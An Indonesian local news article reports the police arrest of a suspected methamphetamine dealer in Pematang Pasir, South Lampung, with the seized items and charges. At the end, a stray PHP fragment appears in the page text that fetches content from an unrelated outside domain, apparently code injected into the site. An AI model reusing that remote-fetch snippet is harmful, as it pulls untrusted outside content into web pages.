Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang

Minggu, 15 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Lampung Selatan,Jejakkasus.Info

Tim opsnal Polsek Penengahan berhasil meringkus pelaku pengedar narkotika jenis sabu di wilayah Desa Pematang Pasir, Kecamatan Ketapang, Kabupaten Lampung Selatan. Sabtu, 14/09/2024,

Penggerebekan merupakan hasil dari informasi dari masyarakat terkait adanya kecurigaan aktivitas peredaran narkoba di lokasi tersebut. Dalam penangkapan ini, polisi mengamankan R alias Once (37) warga Rejosari Desa Pematang Pasir Kec. Ketapang kab. Lampung Selatan.

Kapolsek Penengahan, IPTU Dixko Romadi Alfansyah Subing, menyatakan bahwa penangkapan ini berawal ketika tim opsnal Polsek Penengahan sedang melakukan patroli rutin.
“saat patroli, petugas menerima laporan dari warga, ada yang mencurigakan ada transaksi narkoba di rumah seorang warga” lanjutnya

Sekitar pukul 20.30 WIB, polisi segera bergerak untuk melakukan penyelidikan lebih lanjut. Setelah memastikan aktivitas yang mencurigakan, tim langsung melakukan penggerebekan di lokasi dan ditemukan dua orang yakni, R alias Once dan A .

“setelah dilakukan pengeledahan, ditemukan enam paket kecil narkotika jenis sabu, empat paket sedang sabu, serta alat-alat untuk mengonsumsi narkoba, seperti bong, korek api, dan timbangan digital”

Selain itu, petugas juga menemukan sejumlah uang tunai sebesar Rp 200.000 yang diduga berasal dari penjualan sabu, serta beberapa unit telepon seluler yang digunakan oleh para tersangka untuk berkomunikasi dalam transaksi narkoba.

Tersangka dijerat dengan Pasal 112 jo 114 Undang-Undang No. 35 Tahun 2009 tentang Narkotika, yang mengatur tentang larangan memiliki, menyimpan, atau mengedarkan narkotika. Ancaman hukuman bagi pelaku pengedar narkotika adalah hukuman penjara yang bisa mencapai hingga 20 tahun atau bahkan hukuman seumur hidup

Kapolsek Penengahan menegaskan bahwa penyelidikan tidak berhenti pada penangkapan dua tersangka ini saja. Pihaknya berkomitmen untuk terus mengembangkan kasus ini dan membongkar jaringan narkoba yang lebih luas, termasuk para pemasok dan pengedar lain yang terlibat.(joe/hms)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>